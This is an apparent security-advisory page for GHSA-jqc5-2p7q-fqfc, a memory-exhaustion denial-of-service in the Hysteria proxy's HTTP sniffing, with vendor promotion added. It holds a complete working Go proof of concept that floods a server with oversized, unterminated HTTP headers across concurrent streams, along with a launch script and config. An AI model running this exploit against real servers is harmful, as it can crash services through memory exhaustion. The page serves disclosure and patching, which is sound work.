GHSA-jqc5-2p7q-fqfc
HIGHGHSA-jqc5-2p7q-fqfc is a high-severity (CVSS 7.5) vulnerability in github.com/apernet/hysteria. O3 Security confirms whether GHSA-jqc5-2p7q-fqfc is actually reachable in your code before you act, and blocks exploitation at runtime until you patch.
Hysteria: http large header with sniff cause server DoS
Real-World Exposure
github.com/apernet/hysteriaReal-time download stats are indexed for npm and PyPI packages. This vulnerability affects Go packages — download data is not available via public APIs for these ecosystems.
Description
Summary
Sending an excessively large header by an attacker could lead to a server-side DoS attack.
Details
The current sniff implementation does not explicitly specify the upper limit for HTTP headers. Attackers can continuously send excessively large headers without including \r\n\r\n, leading to ServerDoS and OutOfMemory errors.
PoC
server.yaml
listen: 127.0.0.1:8443
tls:
cert: poc_server.crt
key: poc_server.key
auth:
type: password
password: sniff-poc-password
sniff:
enable: true
timeout: 10s
rewriteDomain: false
tcpPorts: 80
masquerade:
type: string
string:
content: nope
statusCode: 404
poc.sh
#!/bin/bash
go build poc_sniff_http_dos.go
./poc_sniff_http_dos \
--server 127.0.0.1:8443 \
--auth sniff-poc-password \
--insecure \
--target-host 192.0.2.1 \
--target-port 80 \
--connections 16 \
--header-bytes 838860800 \
--linger 12
poc.go
//go:build poc
package main
import (
"crypto/sha256"
"crypto/x509"
"encoding/hex"
"errors"
"flag"
"fmt"
"net"
"strings"
"sync"
"time"
coreclient "github.com/apernet/hysteria/core/v2/client"
"github.com/apernet/hysteria/extras/v2/obfs"
)
type attackConnFactory struct {
obfuscator obfs.Obfuscator
}
func (f *attackConnFactory) New(_ net.Addr) (net.PacketConn, error) {
conn, err := net.ListenUDP("udp", nil)
if err != nil {
return nil, err
}
if f.obfuscator == nil {
return conn, nil
}
return obfs.WrapPacketConn(conn, f.obfuscator), nil
}
func buildHeaderPayload(totalBytes, chunkSize int) []byte {
prefix := []byte("GET / HTTP/1.1\r\nHost: victim\r\nUser-Agent: hy2-sniff-poc\r\n")
if totalBytes <= len(prefix) {
return prefix[:totalBytes]
}
out := make([]byte, 0, totalBytes)
out = append(out, prefix...)
linePayload := chunkSize - 32
if linePayload < 64 {
linePayload = 64
}
for i := 0; len(out) < totalBytes; i++ {
line := fmt.Sprintf("X-Fill-%06d: %s\r\n", i, strings.Repeat("A", linePayload))
remain := totalBytes - len(out)
if len(line) > remain {
line = line[:remain]
}
out = append(out, line...)
}
// 故意不追加最后一个空行 \r\n,迫使服务端在 sniff timeout 内持续读 header。
return out
}
func makeClient(server, auth, sni string, insecure bool, pinSHA256, salamanderPSK string) (coreclient.Client, error) {
serverAddr, err := net.ResolveUDPAddr("udp", server)
if err != nil {
return nil, err
}
cfg := &coreclient.Config{
ConnFactory: &attackConnFactory{},
ServerAddr: serverAddr,
Auth: auth,
TLSConfig: coreclient.TLSConfig{
InsecureSkipVerify: insecure,
},
}
host, _, err := net.SplitHostPort(server)
if err == nil && sni == "" && net.ParseIP(host) == nil {
cfg.TLSConfig.ServerName = host
}
if sni != "" {
cfg.TLSConfig.ServerName = sni
}
if pinSHA256 != "" {
nHash := strings.ToLower(strings.ReplaceAll(pinSHA256, ":", ""))
cfg.TLSConfig.VerifyPeerCertificate = func(rawCerts [][]byte, _ [][]*x509.Certificate) error {
if len(rawCerts) == 0 {
return errors.New("no peer certificate")
}
h := sha256.Sum256(rawCerts[0])
if hex.EncodeToString(h[:]) == nHash {
return nil
}
return errors.New("no certificate matches the pinned hash")
}
}
if salamanderPSK != "" {
ob, err := obfs.NewSalamanderObfuscator([]byte(salamanderPSK))
if err != nil {
return nil, err
}
cfg.ConnFactory = &attackConnFactory{obfuscator: ob}
}
c, _, err := coreclient.NewClient(cfg)
return c, err
}
func worker(id int, c coreclient.Client, target string, payload []byte, sendChunk int, linger time.Duration, results []string) {
conn, err := c.TCP(target)
if err != nil {
results[id] = fmt.Sprintf("worker=%d dial error=%v", id, err)
return
}
defer conn.Close()
_ = conn.SetWriteDeadline(time.Now().Add(linger))
sent := 0
for sent < len(payload) {
end := sent + sendChunk
if end > len(payload) {
end = len(payload)
}
n, err := conn.Write(payload[sent:end])
if err != nil {
results[id] = fmt.Sprintf("worker=%d partial_sent=%d error=%v", id, sent, err)
return
}
sent += n
}
time.Sleep(linger)
results[id] = fmt.Sprintf("worker=%d sent=%d", id, sent)
}
func main() {
server := flag.String("server", "", "Hysteria server address, e.g. 1.2.3.4:443")
auth := flag.String("auth", "", "Hysteria auth string/password")
sni := flag.String("sni", "", "optional TLS SNI")
insecure := flag.Bool("insecure", false, "skip TLS verification")
pinSHA256 := flag.String("pin-sha256", "", "optional pinned server cert SHA256")
salamanderPSK := flag.String("obfs-salamander-password", "", "optional salamander obfs password")
targetHost := flag.String("target-host", "192.0.2.1", "must usually be an IP so sniff.Check() runs when rewriteDomain=false")
targetPort := flag.Int("target-port", 80, "target port that should be covered by server sniff.tcpPorts")
connections := flag.Int("connections", 16, "number of concurrent Hysteria TCP streams")
headerBytes := flag.Int("header-bytes", 8*1024*1024, "bytes of incomplete HTTP header per stream")
buildChunk := flag.Int("build-chunk", 8192, "approximate size of generated filler header lines")
sendChunk := flag.Int("send-chunk", 64*1024, "bytes written per conn.Write call")
lingerSec := flag.Float64("linger", 12, "seconds to keep each stream open after writing")
flag.Parse()
if *server == "" || *auth == "" {
panic("--server and --auth are required")
}
if !*insecure && *pinSHA256 == "" {
panic("provide one of: --insecure / --pin-sha256")
}
payload := buildHeaderPayload(*headerBytes, *buildChunk)
target := net.JoinHostPort(*targetHost, fmt.Sprintf("%d", *targetPort))
linger := time.Duration(*lingerSec * float64(time.Second))
fmt.Printf("[*] server=%s target=%s streams=%d payload=%d\n", *server, target, *connections, len(payload))
c, err := makeClient(*server, *auth, *sni, *insecure, *pinSHA256, *salamanderPSK)
if err != nil {
panic(err)
}
defer c.Close()
results := make([]string, *connections)
var wg sync.WaitGroup
start := time.Now()
for i := 0; i < *connections; i++ {
wg.Add(1)
go func(i int) {
defer wg.Done()
worker(i, c, target, payload, *sendChunk, linger, results)
}(i)
}
wg.Wait()
fmt.Printf("[*] elapsed=%s\n", time.Since(start).Round(time.Millisecond))
for _, line := range results {
fmt.Printf(" %s\n", line)
}
fmt.Println("[+] sent incomplete oversized HTTP headers; check server-side memory / stability")
}
Impact
Testing showed that the server side used a maximum of 16GB.
Server memory DoS and may cause OOM.
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 🐹Go | github.com/apernet/hysteria | all versions | 2.9.2 |
Detection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for github.com/apernet/hysteria. O3's reachability analysis confirms whether the vulnerable code path is actually invoked in your application, so you act on real exposure instead of every transitive match.
Fix
Update github.com/apernet/hysteria to 2.9.2 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-jqc5-2p7q-fqfc is resolved across your whole dependency graph.
Workarounds
If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.
How O3 protects you
O3 pinpoints whether GHSA-jqc5-2p7q-fqfc is reachable in your code and exactly where to fix it, then blocks exploitation in production at runtime until the patched version is deployed.
Tailored to GHSA-jqc5-2p7q-fqfc. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.
Frequently Asked Questions
Is GHSA-jqc5-2p7q-fqfc in your dependencies?
O3 detects GHSA-jqc5-2p7q-fqfc across Go dependencies and uses function-level reachability to confirm whether the vulnerable code path is actually reachable — not just present. No false positives.